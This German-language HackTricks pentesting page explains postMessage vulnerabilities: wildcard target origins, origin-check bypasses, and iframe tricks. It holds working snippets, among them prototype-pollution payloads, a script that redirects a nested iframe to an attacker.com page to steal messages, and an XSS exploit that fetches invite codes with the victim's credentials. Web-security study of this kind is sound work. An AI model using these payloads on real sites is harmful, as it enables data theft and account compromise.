PostMessage Vulnerabilities

PostMessage-Schwachstellen

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.

Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.

Sie können ihre Website besuchen und ihren Dienst kostenlos ausprobieren unter:


Sende PostMessage

PostMessage verwendet die folgende Funktion zum Senden einer Nachricht:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Beachten Sie, dass targetOrigin ein '*' oder eine URL wie https://company.com sein kann. Im zweiten Szenario kann die Nachricht nur an diese Domain gesendet werden (auch wenn der Ursprung des Fensterobjekts unterschiedlich ist). Wenn das Platzhalterzeichen verwendet wird, können Nachrichten an jede Domain gesendet werden und werden an den Ursprung des Fensterobjekts gesendet.

Angriff auf iframe & Platzhalterzeichen in targetOrigin

Wie in diesem Bericht erklärt, wenn Sie eine Seite finden, die iframed werden kann (kein Schutz durch X-Frame-Header) und die sensible Nachrichten über postMessage mit einem Platzhalterzeichen (*) sendet, können Sie den Ursprung des iframe ändern und die sensible Nachricht an eine von Ihnen kontrollierte Domain leaken. Beachten Sie, dass wenn die Seite iframed werden kann, aber das targetOrigin auf eine URL und nicht auf ein Platzhalterzeichen gesetzt ist, wird dieser Trick nicht funktionieren.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener Ausnutzung

addEventListener ist die Funktion, die von JS verwendet wird, um die Funktion zu deklarieren, die postMessages erwartet. Ein Code ähnlich dem folgenden wird verwendet:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Beachten Sie in diesem Fall, wie das erste, was der Code tut, ist, den Ursprung zu überprüfen. Dies ist besonders wichtig, wenn die Seite etwas sensibles mit den empfangenen Informationen machen soll (wie z.B. ein Passwort ändern). Wenn der Ursprung nicht überprüft wird, können Angreifer Opfer dazu bringen, beliebige Daten an diese Endpunkte zu senden und die Passwörter der Opfer zu ändern (in diesem Beispiel).

Aufzählung

Um Ereignislistener auf der aktuellen Seite zu finden, können Sie:

  • Suchen Sie den JS-Code nach window.addEventListener und $(window).on (JQuery-Version)

  • Führen Sie in der Konsole der Entwicklertools aus: getEventListeners(window)

  • Gehen Sie zu Elemente --> Ereignislistener in den Entwicklertools des Browsers

Umgehen der Ursprungsprüfung

  • Das Attribut event.isTrusted gilt als sicher, da es nur True für Ereignisse zurückgibt, die durch echte Benutzeraktionen generiert werden. Obwohl es herausfordernd ist, zu umgehen, wenn es korrekt implementiert ist, ist seine Bedeutung bei Sicherheitsprüfungen beachtenswert.

  • Die Verwendung von indexOf() zur Ursprungsvalidierung in PostMessage-Ereignissen kann anfällig für Umgehungen sein. Ein Beispiel, das diese Schwachstelle veranschaulicht, ist:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • Die Methode search() aus String.prototype.search() ist für reguläre Ausdrücke vorgesehen, nicht für Zeichenfolgen. Das Übergeben von etwas anderem als einem RegExp führt zu einer impliziten Konvertierung in einen Regex, was die Methode potenziell unsicher macht. Dies liegt daran, dass in Regex ein Punkt (.) als Platzhalter fungiert und das Umgehen der Validierung mit speziell erstellten Domains ermöglicht. Zum Beispiel:

"https://www.safedomain.com".search("www.s.fedomain.com")
  • Die Funktion match(), ähnlich wie search(), verarbeitet Regex. Wenn der Regex falsch strukturiert ist, könnte er anfällig für Umgehungen sein.

  • Die Funktion escapeHtml ist dazu gedacht, Eingaben zu bereinigen, indem Zeichen maskiert werden. Sie erstellt jedoch kein neues maskiertes Objekt, sondern überschreibt die Eigenschaften des vorhandenen Objekts. Dieses Verhalten kann ausgenutzt werden. Insbesondere, wenn ein Objekt so manipuliert werden kann, dass seine gesteuerte Eigenschaft hasOwnProperty nicht anerkennt, wird escapeHtml nicht wie erwartet funktionieren. Dies wird in den folgenden Beispielen demonstriert:

  • Erwartetes Versagen:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Umgehen des Maskierens:

result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

Im Kontext dieser Schwachstelle ist das File-Objekt aufgrund seiner schreibgeschützten name-Eigenschaft besonders anfällig für Ausnutzung. Diese Eigenschaft wird in Vorlagen verwendet und nicht von der escapeHtml-Funktion bereinigt, was zu potenziellen Sicherheitsrisiken führt.

  • Die Eigenschaft document.domain in JavaScript kann von einem Skript festgelegt werden, um die Domain zu verkürzen und eine entspanntere Durchsetzung der Same-Origin-Richtlinie innerhalb der gleichen übergeordneten Domain zu ermöglichen.

e.origin == window.origin Umgehung

Beim Einbetten einer Webseite in einem sandboxed iframe mit %%%%%% ist es wichtig zu verstehen, dass der Ursprung des iframes auf null gesetzt wird. Dies ist besonders wichtig im Umgang mit Sandbox-Attributen und deren Auswirkungen auf Sicherheit und Funktionalität.

Durch die Angabe von allow-popups im Sandbox-Attribut erbt jedes Popup-Fenster, das aus dem iframe geöffnet wird, die Sandbox-Beschränkungen seines übergeordneten Elements. Dies bedeutet, dass, sofern das Attribut allow-popups-to-escape-sandbox nicht ebenfalls enthalten ist, der Ursprung des Popup-Fensters ebenfalls auf null gesetzt wird, was mit dem Ursprung des iframes übereinstimmt.

Folglich, wenn unter diesen Bedingungen ein Popup geöffnet wird und eine Nachricht vom iframe an das Popup mit postMessage gesendet wird, haben sowohl der sendende als auch der empfangende Teil ihren Ursprung auf null gesetzt. Diese Situation führt dazu, dass e.origin == window.origin als wahr ausgewertet wird (null == null), da sowohl das iframe als auch das Popup den gleichen Ursprungswert von null teilen.

Für weitere Informationen lesen Sie:

pageBypassing SOP with Iframes - 1

Umgehen von e.source

Es ist möglich zu überprüfen, ob die Nachricht aus demselben Fenster stammt, in dem das Skript lauscht (besonders interessant für Content Scripts von Browsererweiterungen, um zu überprüfen, ob die Nachricht von derselben Seite gesendet wurde):

// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}

Du kannst e.source einer Nachricht erzwingen, indem du ein iframe erstellst, das die postMessage sendet und sofort gelöscht wird.

Für weitere Informationen lesen Sie:

pageBypassing SOP with Iframes - 2

X-Frame-Header Umgehung

Um diese Angriffe durchzuführen, ist es idealerweise möglich, die Opfer-Webseite in ein iframe einzubetten. Aber einige Header wie X-Frame-Header können dieses Verhalten verhindern. In solchen Szenarien kannst du dennoch einen weniger unauffälligen Angriff durchführen. Du kannst einen neuen Tab zur verwundbaren Webanwendung öffnen und mit ihr kommunizieren:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Stehlen von Nachrichten, die an ein Kind gesendet wurden, indem die Hauptseite blockiert wird

Auf der folgenden Seite können Sie sehen, wie Sie sensible Postmessage-Daten, die an ein Kind-IFrame gesendet wurden, stehlen können, indem Sie die Hauptseite blockieren, bevor die Daten gesendet werden, und einen XSS im Kind-IFrame ausnutzen, um die Daten zu leaken, bevor sie empfangen werden:

pageBlocking main page to steal postmessage

Stehlen von Nachrichten durch Ändern des IFrame-Standorts

Wenn Sie eine Webseite ohne X-Frame-Header in ein IFrame einbetten können, das ein anderes IFrame enthält, können Sie den Standort des Kind-IFrames ändern, sodass, wenn es eine Postmessage empfängt, die mit einem Wildcard gesendet wurde, ein Angreifer den Ursprung dieses IFrames zu einer von ihm kontrollierten Seite ändern und die Nachricht stehlen könnte:

pageSteal postmessage modifying iframe location

PostMessage zur Prototyp-Verunreinigung und/oder XSS

In Szenarien, in denen die über postMessage gesendeten Daten von JS ausgeführt werden, können Sie die Seite in ein IFrame einbetten und die Prototyp-Verunreinigung/XSS ausnutzen, indem Sie den Exploit über postMessage senden.

Ein paar sehr gut erklärte XSS durch postMessage finden Sie unter https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Beispiel für einen Exploit zur Ausnutzung von Prototyp-Verunreinigung und dann XSS über eine postMessage an ein IFrame:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Für weitere Informationen:

Referenzen

WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.

Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.

Sie können ihre Website besuchen und ihre Engine kostenlos ausprobieren unter:

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated